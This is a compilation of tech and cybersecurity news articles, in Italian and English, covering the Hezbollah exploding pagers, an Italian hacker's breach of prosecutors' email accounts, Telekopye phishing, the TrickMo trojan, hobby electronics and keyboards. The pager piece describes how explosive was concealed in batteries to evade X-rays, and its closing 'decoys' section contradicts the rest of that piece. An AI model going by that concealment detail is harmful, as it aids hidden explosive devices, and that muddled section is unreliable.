L’incidente è avvenuto a Castello d’Aviano (Pn) e ha coinvolto due persone: un 38enne di Fontanafredda, che è uscito quasi illeso, e un 57enne di Aviano. Secondo la ricostruzione dei carabinieri di Polcenigo, intervenuti per i rilievi, il conducente della Honda – che trasportava i supporti necessari per i dispositivi fotografici sul tetto, utilizzati per aggiornare le mappe stradali – ha invaso la corsia opposta mentre affrontava una curva, proprio nel momento in cui stava sopraggiungendo una Fiat Uno.

Nell’incidente il conducente ha perso il controllo del veicolo, finendo per schiantarsi contro un altro automobilista. Questo evento ha immediatamente richiamato l’attenzione delle forze dell’ordine, che sono accorse sul luogo per gestire la situazione.

Le autorità intervenute hanno trovato il conducente in stato di ebrezza (un tasso alcolemico tre volte superiore al limite consentito), a testimonianza di una notte di eccessi. Nonostante il veicolo fosse dotato di tecnologia avanzata, l’uso della Google Car non ha impedito al guidatore di commettere un grave errore di giudizio.

Dopo l’incidente, l’uomo ha mostrato comportamenti inappropriati, tra cui l’atto di urinare davanti ai carabinieri, un gesto che ha ulteriormente aggravato la sua situazione. Gli agenti hanno quindi ritenuto opportuno ritirare la patente di guida dell’uomo e denunciarlo per guida in stato di ebbrezza.

Le Google Car servono per il mapping delle strade utilizzate dal servizio Google Street View, una caratteristica di Google Maps e Google Earth che fornisce viste panoramiche a 360° in orizzontale e a 160º in verticale lungo le strade, a distanza di 10-20 metri l’una dall’altra, e permette agli utenti di vedere parti di varie città del mondo a livello del terreno.

L'articolo Ubriaco alla guida di una Google Car: Dopo l’incidente urina in presenza dei Carabinieri proviene da il blog della sicurezza informatica.

With the 2024 Hackaday Supercon just a couple weeks away, we’re pleased to announce that the official site for the three-day event is now live!

On the brand-new Supercon page, you can find a listing of all of our fantastic speakers, the hands-on workshops, and perhaps most importantly, the schedule of when everything is happening. As always, Supercon is jam-packed with incredible content, so you’ll want to consult with the schedule to navigate your way through it. Don’t worry if it ends up that two talks you want to see are scheduled for the same time — we’ll be recording all of the talks and releasing them on the Hackaday YouTube channel, so you won’t miss out.

If you’re still on the fence, we do have a few tickets left at the time of this writing. All of the workshops are full at this point, but you can still get on the waiting list for a few of them just in case a spot opens up.

hackaday.com/2024/10/17/read-a…

Come abbiamo visto, una strategia ingegnosa ha trasformato i dispositivi di Hezbollah in bombe ambulanti, utilizzando tecniche avanzate per infiltrare esplosivi nei loro sistemi e confondere le loro operazioni. Avevamo parlato a suo tempo del PETN, un potente esplosivo militare inserito all’interno di tre tipologie di cercapersone tra le quali Motorola LX2, Teletrim, Gold Apollo.

Ma la domanda era, tecnicamente come erano riusciti a farlo?

L’eplosivo PETN racchiuso negli strati della batteria

Da una analisi condotta da Routers, secondo una fonte libanese con conoscenza diretta dei cercapersone e secondo le foto dello smontaggio della batteria visionate dalla Reuters, gli agenti che hanno costruito i cercapersone hanno progettato una batteria che nascondeva una piccola ma potente carica di esplosivo al plastico e un nuovo detonatore invisibile ai raggi X.

Gli esplosivi PETN sono stati nascosti tra due celle rettangolari di una batteria sotto forma di un sottile foglio quadrato. Una striscia di materiale altamente infiammabile, che fungeva da detonatore, riempiva lo spazio tra le celle. L’intero assemblaggio, racchiuso in una custodia di plastica nera e un involucro di metallo, non conteneva parti metalliche, rendendo difficile il rilevamento tramite raggi X. Il dispositivo era progettato per generare una scintilla, sufficiente ad accendere il materiale detonante e innescare l’esplosione del PETN.
Immagine dall’articolo “How Israel’s bulky pager fooled Hezbollah” di Reuters

Una operazione basata su ottime Esche

Dopo aver ricevuto i cercapersone a febbraio, Hezbollah ha sottoposto i dispositivi agli scanner di sicurezza aeroportuali per verificare la presenza di esplosivi, ma non è stato rilevato nulla di sospetto. Gli esperti hanno ipotizzato che i dispositivi generassero una scintilla per attivare il materiale detonante e far esplodere il foglio di PETN. Gli esplosivi occupavano circa un terzo del volume della batteria, che aveva quindi una capacità energetica ridotta.

Il presidente di Gold Apollo, Hsu Ching-kuang, ha rivelato di essere stato contattato tre anni fa da Teresa Wu e dal suo superiore, “Tom”, per un accordo di licenza. Hsu ha concesso loro il diritto di progettare e commercializzare prodotti a marchio Gold Apollo, ma non conosceva bene il manager e non sapeva se collaborassero con l’intelligence israeliana. Ha descritto la sua azienda come vittima del complotto, affermando di non avere informazioni sulle capacità letali dei cercapersone coinvolti. Gold Apollo ha rifiutato ulteriori commenti.

I leader di Hezbollah hanno avviato indagini interne per scoprire come sia avvenuta la violazione della sicurezza relativa ai cercapersone acquistati, ritenuti compromessi. Dopo aver constatato l’intercettazione delle comunicazioni cellulari da parte di Israele, il gruppo ha optato per i cercapersone. Le indagini hanno rivelato che un venditore ha utilizzato una strategia di prezzo aggressiva per convincere Hezbollah a scegliere l’AR-924. Gli attacchi israeliani successivi hanno portato a un’escalation del conflitto, culminando nell’uccisione di un alto funzionario di Hezbollah, Nabil Kaouk.

Anche la tecnologia Obsoleta può essere hackerata

Il successo di questa tattica risiedeva nell’accuratezza delle esche. Israele è stato in grado di creare scenari credibili per Hezbollah, che, credendo di intercettare informazioni vitali, mobilitava risorse su fronti sbagliati, lasciando i veri obiettivi israeliani praticamente indisturbati.

In sintesi, i cercapersone israeliani rappresentano un esempio di come la tecnologia, anche quella apparentemente superata, possa essere sfruttata in modo ingegnoso per manipolare il nemico in scenari di guerra. Israele ha utilizzato questi dispositivi non solo come strumenti di comunicazione, ma come vere e proprie armi psicologiche, ingannando Hezbollah e guadagnando un vantaggio strategico cruciale.

L'articolo Tecnologia Obsoleta, Risultati Letali: Come Hezbollah è Caduta nella Trappola Esplosiva proviene da il blog della sicurezza informatica.

Il giovane hacker di 24 anni Carmelo Miano è stato arrestato a Roma dopo aver violato numerosi account e sistemi informatici della Procura di Napoli. A quanto riporta il quotidiano La Repubblica, l’hacker avrebbe violato anche la casella di posta elettronica di Nicola Gratteri.

Quattro anni di Corsa contro l’Hacker

Per oltre quattro anni, l’hacker ha sfruttato le sue abilità per accedere illegalmente a migliaia di file riservati, tra cui ordinanze giudiziarie e documenti sensibili, rubando password e diffondendo malware. Le indagini, condotte dalla Polizia Postale, hanno rivelato che l’hacker utilizzava più identità per sfuggire alle autorità​.

L’operazione che ha portato all’arresto è stata condotta dai magistrati Sofia Cozza e Vincenzo Piscitelli, i quali hanno sottolineato la gravità del danno arrecato ai sistemi di sicurezza del Ministero della Giustizia. Da quanto è stato riportato, l’hacker conosceva le password di ben 46 PM.

Durante l’arresto, l’hacker è stato trovato in possesso di una notevole quantità di dati rubati, inclusi documenti giudiziari ancora sotto segreto investigativo. Questo caso è considerato una delle più serie violazioni informatiche subite dal sistema giudiziario italiano negli ultimi anni​

Il giovane, originario di Gela, è accusato di “accesso abusivo a sistema informatico finalizzato al dossieraggio e alla diffusione di malware”. Le autorità stanno indagando su possibili mandanti o complici, e altri tre sospetti sono già sotto inchiesta. Il coinvolgimento dell’hacker non si limita solo al furto di informazioni: ha anche cercato di sfruttare le sue incursioni digitali per influenzare procedimenti giudiziari, mettendo a rischio indagini in corso.​

Nicola Grattieri vittima delle scorribande di Miano

Nicola Gratteri, uno dei magistrati colpiti dall’attacco, ha commentato che la minaccia rappresentata dall’hacker ha costretto molti della sua Procura a sospendere temporaneamente l’uso delle comunicazioni digitali, tornando a utilizzare metodi tradizionali per evitare ulteriori compromissioni. Anche Giovanni Melillo, procuratore nazionale Antimafia, ha espresso la sua preoccupazione, evidenziando come questo tipo di attacchi informatici metta a rischio la sicurezza dello Stato​.

La vicenda ha destato allarme non solo tra gli addetti ai lavori, ma anche nell’opinione pubblica, poiché solleva serie domande sulle capacità di difesa informatica delle istituzioni. Gli esperti suggeriscono che questo incidente debba servire da monito per rafforzare le misure di sicurezza, specialmente nel settore giudiziario, spesso oggetto di attacchi da parte di cybercriminali sofisticati.

Lo spettro dell’assenza della Multi Factor Authentication

Conoscere le password di 46 magistrati e accedere ripetutamente ai loro account implica una violazione massiccia e sistematica dei sistemi informatici, la quale solleva gravi interrogativi sulle misure di sicurezza adottate. Se l’hacker ha ottenuto accesso ai token di autenticazione legati a ciascun terminale, significa che ha avuto accesso fisico o remoto a ogni dispositivo, un’impresa complessa e particolarmente avanzata.

Dalle informazioni diffuse sui media, Miano aveva accesso ai PC dai quali recuperava le password di accesso con uno script sui browser degli utenti. Qualora fosse stata attivata la MFA, il secondo fattore sarebbe stato trasmesso sullo smartphone e quindi su una APP Authenticator o tramite SMS. Quindi oltre al PC avrebbe dovuto violare anche gli Smartphone dei magistrati oppure aver sfruttato le falle del protocollo SS7 per l’intercettazione degli SMS, cose effettivamente molto evolute.

Se la multi-factor authentication (MFA) non era presente, l’accesso alle caselle di posta elettronica sarebbe stato incredibilmente facile per un cybercriminale con sufficienti competenze e gli accessi corretti. La MFA, che richiede più livelli di verifica, è oggi uno standard basilare per proteggere le credenziali, rendendo qualsiasi sistema senza questa misura vulnerabile anche agli attacchi più semplici.

Sebbene tutto questo risulti ancora da chiarire da parte della Magistratura, nel caso in cui tale misura non sia stata implementata viene da dire come sia possibile che un settore così strategico per la sicurezza nazionale non abbia adottato protezioni basilari di questo tipo per proteggere le caselle di posta elettronica dei suoi magistrati.

La magia del Data Breach

Come spesso abbiamo riportato, Oggi esiste una letteratura sterminata su quelle che sono le buone pratiche di sicurezza informatica, oltre a molte normative e direttive che ci hanno insegnato importanti lezioni su come implementare e controllare una buona postura cyber.

Il problema è che avvengono costantemente cose terribilmente paradossali negli incidenti informatici che non sono motivabili da un “accidentalità” dovuta ad un’alta sofisticazione di un “attacco di livello”. Pertanto occorre fare delle giuste considerazioni e dire una cosa che a molti non piacerà, ovvero: per fortuna che ci sono i Data Breach!

In generale, la maggior parte delle aziende dopo un attacco informatico si organizza spendendo tantissimi soldi per avviare miglioramenti o programmi cyber. Tanti soldi quanti non avrebbero mai pensato di spendere in tutta la loro esistenza sulla cybersecurity.

Ma questa volta i soldi non sono di un azionista di maggioranza di una multinazionale americana, i soldi sono di noi cittadini. Pertanto speriamo che questi vengano finalmente spesi bene!

L'articolo Carmelo Miano è entrato nella Posta di 46 Magistrati tra cui Nicola Grattieri! E La MFA? proviene da il blog della sicurezza informatica.

I truffatori che utilizzano lo strumento Telekopye hanno ampliato le loro operazioni e hanno iniziato a prendere di mira gli utenti dei servizi di prenotazione di alloggi come Booking.com e Airbnb. Telekopye è un insieme di strumenti eseguiti su Telegram che i criminali utilizzano per creare pagine di phishing e rubare i dati degli utenti.

Telekopye divenne nota per la prima volta nel 2023. Lo strumento consente di creare pagine false in cui le vittime inseriscono i dettagli della carta bancaria. Nel corso dell’anno si sono sviluppati schemi fraudolenti che utilizzano Telekopye e ora coprono non solo le piattaforme di trading, ma anche i servizi di prenotazione di alloggi.

Lo schema della truffa è il seguente: i criminali contattano gli utenti delle piattaforme segnalando presunti problemi con il pagamento della prenotazione. Alle vittime viene chiesto di seguire un collegamento a una pagina falsa molto simile all’originale. La pagina contiene già informazioni sulla prenotazione effettiva, il che rende la truffa ancora più convincente. I truffatori ottengono dati per accedere ai conti di hotel e immobili acquistando conti rubati su forum clandestini.

Esempio di un falso modulo di pagamento di Booking.com creato da Telekopye

Una delle caratteristiche distintive di Telekopye è la sua facilità d’uso: i criminali informatici non necessitano di conoscenze tecniche particolari. Lo strumento fornisce tutti gli strumenti necessari per creare messaggi siti fake, pagine Web ed e-mail di phishing.

I truffatori dei gruppi che utilizzano Telekopye operano secondo un modello di business, con gerarchie chiaramente strutturate e orari di lavoro fissi. All’interno dei gruppi viene mantenuta una corrispondenza dettagliata su ogni transazione, che aiuta a controllare la distribuzione dei fondi rubati.

Un esempio di chat online tra l’aggressore (a sinistra) e la vittima (a destra)

Secondo ESET, il numero di attacchi fraudolenti ai servizi di prenotazione di alloggi è aumentato notevolmente nel 2024, soprattutto durante i mesi estivi. Nel mese di luglio tali attacchi hanno superato per la prima volta il numero dei casi di attacchi classici che coinvolgevano piattaforme di trading. Nei mesi di agosto e settembre la frequenza degli attacchi contro entrambe le categorie di servizi si è stabilizzata.

Anche la piattaforma Telekopye viene costantemente migliorata. I truffatori hanno aggiunto nuove funzionalità come la generazione automatica di pagine di phishing e la protezione DDoS integrata per proteggersi dagli attacchi della concorrenza.

Per proteggersi da tali truffe, ESET consiglia di verificare sempre l’autenticità dei messaggi, evitare di fare clic su collegamenti sospetti e utilizzare soluzioni antivirus in grado di avvisare l’utente della presenza di siti di phishing.

L'articolo Un Viaggio Molto Caro! Così i Criminali Informatici Possono Rovinarti le Vacanze proviene da il blog della sicurezza informatica.

We’ve seen a few retro products using core rope memory, such as telephone autodiallers. Obviously, we’ve covered the Apollo program computers, but we don’t think we’ve seen a complete and functional DIY computer using core rope memory for program storage until now. [P-lab] presents their take on the technology using it to store the program for a Z80-based microprocessor demoboard, built entirely through-hole on a large chunk of veroboard.

For the uninitiated, core rope memory is a simple form of ROM where each core represents a bit in the data word. Each wire represents a single program location. Passing a wire through the core sets the corresponding bit to a logic 1, else 0. These wires are excited with an AC waveform, which is coupled to the cores that host a wire, passing along the signal to a pickup coil. This forms an array of rudimentary transformers. All that is needed is a rectifier/detector to create a stable logic signal to feed onto the data bus.

For this to work as a ROM with the Z80, the address bus is decoded to 16 individual lines using a CMOS 4515 4-16 decoder. These lines each drive a 2n2222 NPN transistor, pulling one end of the associated address wire to ground. The other ends of all address wires are tied to a common AC-coupled oscillator based around our good friend, the 555 timer. A simple rectifier is formed for each core sense circuit with a BAT85 Schottky diode and a 1 nF capacitor, which passes the sense signal along to a CMOS 4508 dual 4-bit latch. The output of which is passed back to the Z80 data bus via some multiplexing logic. Other than some indicator LEDs on the data bus, the only other IO or indication on this board are a couple of 7-segment displays. Obviously, the ROM is limited to a meagre 16 bytes of storage, making a meaningful demo rather limited. Luckily, it’s possible to code a Fibonacci sequence generator in that space, including driving the output latch to update the display. We wonder now what else could be made to fit in such a restricted code?

We covered DIY core rope memories before, like here and here; they’re not news to us. Compare and contrast a DIY magnetic core memory. Less efficient at this scale? We think so, too.

youtube.com/embed/26skBvMBiA4?…

thanks to [Giuseppe] and [Survival Hacking] for the tip!

hackaday.com/2024/10/16/diy-co…

If you picked today in your hackerspace’s sweepstake on when Winamp would pull their code repository, congratulations! You’re a winner! The source for the Windows version of the venerable music player was released on GitHub three weeks ago, and after some derision over its licence terms, a bunch of possible open source violations, and the inadvertent release of some proprietary third-party code, it’s been taken down. We’re sure that if you still have a burning desire to look at it then it won’t be too difficult to find a copy through your favorite search engine, leaving the question of what really just happened.

It’s fairly obvious that the owners of the code lacked some level of understanding of just what open source really is, based on their not-really-open licence and all those code leaks. They did back down on not allowing people to create forks, but it’s evident that they didn’t anticipate the reaction they got. So were they merely a bit clueless, or was it all just a publicity stunt involving a piece of software that’s now of more historical than practical interest? It’s possible we’ll never know, but the story has provided those of us sitting on the fence eating popcorn with some entertainment.

hackaday.com/2024/10/16/winamp…

You want to add voice, music, or sound effects to your project. What do you do? Sure, it is easy enough to plug a Raspberry Pi or some other tiny computer, but that’s not always desirable from a power, space, or cost point of view. [Mellow_Labs] shows a module that makes it simple to add sound to any project. The little board is just big enough to house a speaker and doesn’t cost much. Check it out in the video below.

The device allows you to preload tracks as MP3 files. There are two ways to control it: via a serial port, or using a single pin that can accept commands like you might expect from a MP3 player, like play and next track.

The module was loud, and the built-in speaker can be replaced. The module’s documentation doesn’t seem to include any example code, but [Mellow_Labs] has code for you on GitHub. It probably isn’t going to win any audiophile awards, but you don’t expect that from something just a little bigger than an inch across and not even a half-inch tall. Seems like a good thing for your Halloween props.

It isn’t that we haven’t seen MP3 modules before, but this one is nicely integrated and complete. We wondered if a 3D-printed cone might make this a nice custom bike horn or if it would need more amplification.

youtube.com/embed/RloY9t0kO2w?…

hackaday.com/2024/10/16/module…

Inspired by the classic game Robo Rally, [Ytec3D]’s Clockwork Derby takes tabletop gaming to the next level by combining steampunk aesthetics with automation. We recently had the chance to see it live at Hackfest, together with [Ytec3D]’s animatronic tentacle, and we can say that his new take on playful robotics offers a unique experience for game enthusiasts. The 300×420 mm board uses magnets, motors, and card readers to handle up to eight players, creating a smooth, automated version of Robo Rally where players can focus on strategy while the board handles movement.

In Clockwork Derby, game pieces are moved by a magnetic system controlled by the board, which rotates and shifts pieces in real-time. Each player uses a card reader to program moves, with up to five cards per round. The board scans these cards via barcode scanners, so you don’t have to worry about tracking your moves or adjusting game pieces manually. [Ytec3D]’s game rules have been optimized for the automated setup, allowing for smoother gameplay and an emphasis on strategic choices.

The project is a standout for hackers and tinkerers who appreciate blending physical mechanics with digital precision. It’s a great example of how classic games can be modernized with a bit of ingenuity and tech. For those interested in DIY gaming projects or automation, Clockwork Derby is definitely worth exploring. To dive deeper into the build details and see more of the project, visit [Ytec3D]’s project page for an in-person look at this inventive tabletop game!

youtube.com/embed/8uJ5YfFld00?…

hackaday.com/2024/10/16/clockw…

This week Jonathan Bennett and Jeff Massie chat with Andy Piper about Mastodon! There’s a new release of Mastodon, and plenty on the road map to keep everybody excited!

• joinmastodon.org/
• shop.joinmastodon.org/products…

youtube.com/embed/5TH4uKfE0bA?…

Did you know you can watch the live recording of the show Right on our YouTube Channel? Have someone you’d like us to interview? Let us know, or contact the guest and have them contact us! Take a look at the schedule here.

play.libsyn.com/embed/episode/…

Direct Download in DRM-free MP3.

If you’d rather read along, here’s the transcript for this week’s episode.

Places to follow the FLOSS Weekly Podcast:

• Spotify
• RSS

hackaday.com/2024/10/16/floss-…

Want to give prospective employers a business card that doesn’t immediately get tossed? Of course you do. If you’re one of us, the answer is obvious: make it some kind of a PCB.

Image by [Ricardo Daniel de Paula] via Hackaday.IOBut as those become commonplace, it’s imperative that you make it do something. Well, you could do a lot worse than giving someone a fully-functioning capacitive-touch keyboard to carry around.

[Ricardo Daniel de Paula] initially chose the CH32V303 microcontroller because it has native USB 2.0 and 16 capacitive touch channels, which can support up to 48 keys via multiplexing.

But in order to reduce costs, [Ricardo] switched to the CH582M, which does all that plus Bluetooth communication. The goal is to have an affordable design for a unique, functioning business card, and I would say that this project has it in spades.

Btrfld is a Folding Butterfly Keyboard

This origami beauty’s name is pronounced ‘butter-fold‘, by the way. And that’s because this is a folding, portable version of the original butterfly keyboard by [SolidusHal]. Be sure to check out the .gif of it folding and unfolding on the first link.

Image by [SolidusHal] via redditInstead of the Kailh Chocs you were probably expecting, this bad boy has Cherry MX ULP (ultra-low profile) switches, which [SolidusHal] reports are really nice-feeling with a tactile bump. The jury is still out as to how they compare with Chocs, however. With these, the overall thickness of the thing is only 15.5 mm.

As [SolidusHal] says over on GitHub, there aren’t any amazing sources of ULP keycaps yet, so the best option is to print them, and of course you’ll find the STLs in the repo. But beware, an FDM printer isn’t up to this task.

While you could hand-wire this thing, board files are available, so you should probably use them if you’re gonna build your own. And controller-wise, you can use a nice!nano or a BlueMicro840, or just a Pro Micro if you don’t want Bluetooth.

The Centerfold: Taste the Rainbow

Image by [haunterloo92] via redditYou know I can’t resist a rainbow, right? And a translucent case too; that just takes the cake. This here is [haunterloo92]’s Locus keyboard, which features a carbon fiber plate, Lichicx silent tactile switches, and GMK CYL ZX keycaps, which of course recall the Sinclair Spectrum ZX. Not sure what desk mat that is, but it recalls ye old Apple rainbow, don’t you think? But good luck searching for it. (I had none.)

Do you rock a sweet set of peripherals on a screamin’ desk pad? Send me a picture along with your handle and all the gory details, and you could be featured here!

Historical Clackers: Salter No. 5

The curved keyboard of this Victorian beauty isn’t just for looks — it was designed to mimic the shape of the hands and thus be more comfortable.
The Salter no. 5 in all its Victorian glory. Image via Antikey Chop
What you can’t do with this one is slouch in your chair, otherwise you won’t see what you’re typing over that curved, black shield in the middle.

It is thought that there were no Salter nos. 1-4, and that Salter started with a higher number as to appear more established. Although sold by George Salter’s family company, the typewriter was invented by James Samuel Foley in 1892.

The Salter no. 5 features a three-row keyboard with two Shifts, one for upper case and the other for figures. Altogether, there are 28 keys that can produce 84 characters.

While early 5s used an ink pad, the later models employed a ribbon. They were marketed to compete with Remington typewriters and such, but at one-half or one-third the cost. Even so, they were one of the best typewriters available at the time.

ICYMI: KanaChord Plus Makes Comprehensive Japanese Input Simple

Have you ever wished you had a separate, smaller keyboard for inputting another language so you didn’t have to switch up your OS every time? Well, then KanaChord Plus is the keyboard for you, as long as your second language is Japanese.

Image by [Mac Cody] via GitHub[Mac Cody]’s update supports a whopping 6,165 Kanji along with 6,240 of the most common Japanese words containing Kanji. This is on top of what KanaChord already supported — all the Kana characters which make up the rest of Japanese writing.

As you may have guessed, KanaChord takes chording input — pressing multiple keys at once as you would on a piano. It uses color in order to indicate character type, Kana mode, and even to provide error feedback. Worried that it won’t work with your OS? There’s a slide switch to select one of three Unicode key sequences. Guess which three.

The touch screen is the icing on this updated cake. As you chord, an incremental Input Method Editor will search the embedded dictionaries and display an ordered list of Japanese words and Kanji choices to scroll through and select. [Mac Cody] has plans to support the Pico 2 and will update the comprehensive repo when it’s ready.

Got a hot tip that has like, anything to do with keyboards? Help me out by sending in a link or two. Don’t want all the Hackaday scribes to see it? Feel free to email me directly.

hackaday.com/2024/10/16/keebin…

L’intelligenza artificiale (IA) sta trasformando rapidamente il mondo del lavoro, con applicazioni che spaziano dal reclutamento alla gestione delle prestazioni dei dipendenti. Tuttavia, non tutti gli usi dell’IA sono considerati eticamente accettabili. In risposta a preoccupazioni crescenti, l’Unione Europea ha introdotto il Regolamento Europeo sull’Intelligenza Artificiale del 13 giugno 2024, imponendo severi limiti su pratiche considerate pericolose o contrarie ai diritti fondamentali dei lavoratori.

A partire dal 2 febbraio 2025, l’articolo 5 del regolamento entrerà in vigore, stabilendo divieti su determinate pratiche di IA che mirano a tutelare la dignità umana, la privacy e a prevenire discriminazioni. Ecco le quattro aree principali in cui l’UE ha detto “no” alle tecnologie di IA.

1. Tecniche Subliminali: Manipolazione Invisibile dei Dipendenti

Uno dei divieti più significativi riguarda l’uso di tecniche subliminali per manipolare i dipendenti. Questi sistemi, progettati per influenzare il comportamento delle persone senza che se ne accorgano, possono alterare le decisioni dei lavoratori attraverso messaggi nascosti in ambienti virtuali o interfacce uomo-macchina.

L’obiettivo è manipolare le scelte in modi che i dipendenti non farebbero consapevolmente, portando a conseguenze psicologiche negative, come lo stress, o economiche, come l’accettazione di condizioni contrattuali sfavorevoli. L’UE ha deciso di bloccare queste pratiche per proteggere la libertà di scelta e la salute mentale dei lavoratori.

2. Sfruttamento delle Vulnerabilità: Protezione per i Lavoratori Più Deboli

Un altro punto chiave del regolamento è il divieto di sfruttare le vulnerabilità sociali ed economiche dei dipendenti tramite IA. Alcuni sistemi sono progettati per prendere di mira lavoratori in condizioni di difficoltà, come minoranze etniche o persone in situazioni economiche precarie.

L’uso di IA in questi casi può influenzare negativamente la capacità dei dipendenti di negoziare condizioni di lavoro eque, spingendoli ad accettare mansioni mal retribuite o insicure. Questa pratica, anche se a volte non intenzionale, viene vista come un abuso delle disuguaglianze sociali e viola i principi di giustizia ed equità. L’UE, attraverso questo divieto, punta a garantire pari opportunità per tutti i lavoratori, indipendentemente dalle loro circostanze.

3. Valutazione Emotiva: Stop all’Analisi delle Emozioni

Le tecnologie di IA che analizzano le emozioni dei lavoratori in base a dati biometrici o espressioni facciali sono un’altra area vietata. Questi sistemi, che monitorano in tempo reale le reazioni emotive durante riunioni o attività lavorative, sono spesso utilizzati con l’intento di misurare l’impegno o lo stress dei dipendenti.

Tuttavia, l’analisi delle emozioni è vista come una grave intrusione nella privacy e può condurre a discriminazioni ingiustificate. L’UE ha vietato l’uso di queste tecnologie per evitare che i lavoratori vengano valutati su basi emotive che non riflettono la loro effettiva performance professionale.

4. Classificazione Sociale: Niente Più Sistemi di Punteggio Comportamentale

L’ultimo grande divieto riguarda i sistemi di classificazione sociale. Queste tecnologie assegnano punteggi ai dipendenti in base al loro comportamento o alle loro interazioni sociali sul posto di lavoro. Ad esempio, un sistema potrebbe monitorare le interazioni tra colleghi per determinare un punteggio di “cooperazione” o “produttività”, influenzando le decisioni su promozioni o aumenti salariali.

Questo tipo di monitoraggio prolungato può portare a trattamenti ingiusti o discriminatori, compromettendo l’equità e la meritocrazia nelle decisioni aziendali. L’UE ha deciso di bloccare questi sistemi per garantire che i lavoratori siano giudicati solo in base alle loro competenze e risultati, non su criteri comportamentali soggettivi.

Conclusione: Verso un Lavoro più Etico e Umano

I divieti imposti dall’Unione Europea dimostrano un impegno forte e deciso a proteggere i diritti dei lavoratori nell’era digitale. Sebbene l’IA offra enormi potenzialità, è fondamentale che il suo uso non sacrifichi la dignità umana o i principi di equità.

I datori di lavoro dovranno rivedere le loro pratiche e conformarsi ai nuovi regolamenti entro il 2025, pena sanzioni severe. Questa svolta normativa segna un importante passo avanti verso un futuro lavorativo più equo, etico e rispettoso dei diritti fondamentali.

L'articolo L’UE dice Basta alle IA che violano i diritti dei Lavoratori! Dichiarata Guerra alle Pratiche Invasive! proviene da il blog della sicurezza informatica.

Gli analisti di Zimperium hanno scoperto 40 nuove versioni del trojan bancario Android TrickMo. Queste varianti sono associate a 16 dropper, 22 diverse infrastrutture di gestione e presentano nuove funzionalità progettate per rubare i codici PIN agli utenti.

Ricordiamo che il malware TrickMo è stato documentato per la prima volta dagli specialisti IBM X-Force nel 2020, ma poi si è ipotizzato che fosse stato utilizzato negli attacchi contro gli utenti Android almeno dal settembre 2019.

Le caratteristiche principali delle nuove versioni di TrickMo sono: intercettazione di password monouso (OTP), registrazione dello schermo, furto di dati, controllo remoto di un dispositivo infetto e molto altro. Il malware tenta di utilizzare il servizio di accessibilità per concedersi ulteriori autorizzazioni e fare clic automaticamente su vari elementi sullo schermo secondo necessità.

Poiché TrickMo è ancora un trojan bancario, utilizza overlay di phishing per imitare le schermate di accesso di varie applicazioni bancarie e finanziarie per rubare le credenziali delle vittime, consentendo così ai suoi operatori di effettuare transazioni non autorizzate.

Va notato che gli overlay TrickMo coprono non solo le applicazioni bancarie, ma anche VPN, piattaforme di streaming, e-commerce, trading, social network, reclutamento e piattaforme aziendali.

Sempre tra gli overlay gli analisti di Zimperium hanno scoperto una schermata di sblocco che imita quella di un dispositivo Android. È progettato per rubare il PIN o la sequenza di un utente.

“Non si tratta di altro che una pagina HTML ospitata su un sito web esterno e visualizzata a schermo intero sul dispositivo, facendolo sembrare uno schermo reale. Quando l’utente inserisce il codice PIN o la sequenza per sbloccare, la pagina trasmette i dati intercettati agli aggressori, nonché un identificatore univoco del dispositivo (ID Android), utilizzando uno script PHP”, scrivono i ricercatori.

Gli analisti hanno spiegato che il furto dei codici PIN consente agli hacker di sbloccare i dispositivi delle vittime quando gli utenti non possono vederli (ad esempio di notte) e commettere attività fraudolente.

I ricercatori hanno scoperto che l’infrastruttura di controllo di TrickMo non era adeguatamente protetta. Grazie a ciò è stato possibile stabilire che almeno 13.000 persone sono già diventate vittime di malware, la maggior parte delle quali vive in Canada, Emirati Arabi Uniti, Turchia e Germania. Va notato che il numero totale delle vittime di TrickMo è probabilmente molto più elevato.

“La nostra analisi ha mostrato che il file dell’elenco degli indirizzi IP viene aggiornato ogni volta che il malware riesce a rubare le credenziali”, ha affermato Zimperium. “Abbiamo trovato milioni di voci in questi file, indicando un gran numero di dispositivi compromessi e una quantità significativa di dati sensibili a cui hanno avuto accesso gli aggressori.”

Attualmente, TrickMo viene distribuito tramite truffe di phishing, quindi gli esperti consigliano di evitare di scaricare file APK da URL ricevuti tramite SMS o messaggi di messaggistica istantanea da sconosciuti.

L'articolo 13.000 Vittime Del Trojan TrickMo: ll Trojan Bancario che Ruba PIN e Credenziali proviene da il blog della sicurezza informatica.

One of the standard tropes in science fiction is some kind of device that can render someone unconscious — you know, like a phaser set to stun. We can imagine times when being aggressively knocked out would lead to some grave consequences, but — we admit — it is probably better than getting shot. However, we don’t really have any reliable technology to do that today. However, if you’ve passed a modern-day policeman, you’ve probably noticed the Taser on their belt. While this sounds like a phaser, it really isn’t anything like it. It is essentially a stun gun with a long reach thanks to a wire with a dart on the end that shoots out of the gun-like device and shocks the target at a distance. Civilian Tasers have a 15-foot long wire, while law enforcement can get longer wires. But did you know that modern Tasers also fire confetti?
A Taser cartridge and some AFIDs
It sounds crazy, and it isn’t celebratory. The company that makes the Taser — formerly, the Taser company but now Axon — added the feature because of a common complaint law enforcement had with the device. Interestingly, many things that might be used in comitting a crime are well-understood. Ballistics can often identify that a bullet did or did not come from a particular weapon, for example. Blood and DNA on a scene can provide important clues. Even typewriters and computer printers can be identified by variations in their printing. But if you fire a taser, there’s generally little evidence left behind.

Well, that was true until the AFIDs (Anti Felony Identification) came on the scene in 1993. The Taser uses a cartridge that has one or more spools of wire. When you fire the unit, you remove the cartridge and replace it with a new one. The cartridge also has some kind of propellant that fires the dart and wire. Early cartridges used gunpowder, although the newer ones appear to utilize gas capsules. The wire moves between 180 and 205 feet per second. But modern ones also have a few dozen very small disks inside that spew out under the force of the propellant. Each tag has a unique serial number for that cartridge.

Sure, if you have time, you could sweep up the 20 or 30 little tags. But they are less than a quarter of an inch around and disperse widely. Plus, you can’t be sure exactly how many tags are in any given cartridge, so you’d have to be very thorough. In fact, it is hard enough for investigators to find them when they want to. The tags are colorful and show up better when using special lights.

This isn’t just theoretical, by the way. Milwaukee police used AFIDs to track down a thief who stunned a musician and made off with a 300-year-old Stradivarius violin worth about $5 million. In another case, a man did extensive research about killing his boss to avoid being caught embezzling. He used a Taser to subdue his victim and knew to vacuum up the AFIDs, but didn’t get them all, allowing police to identify him as the killer.

Some printers and copiers leave digital fingerprints, too. On the other hand, some people seem to enjoy getting the occasional jolt of voltage.

youtube.com/embed/8E5zTQOQ98A?…

hackaday.com/2024/10/16/tech-i…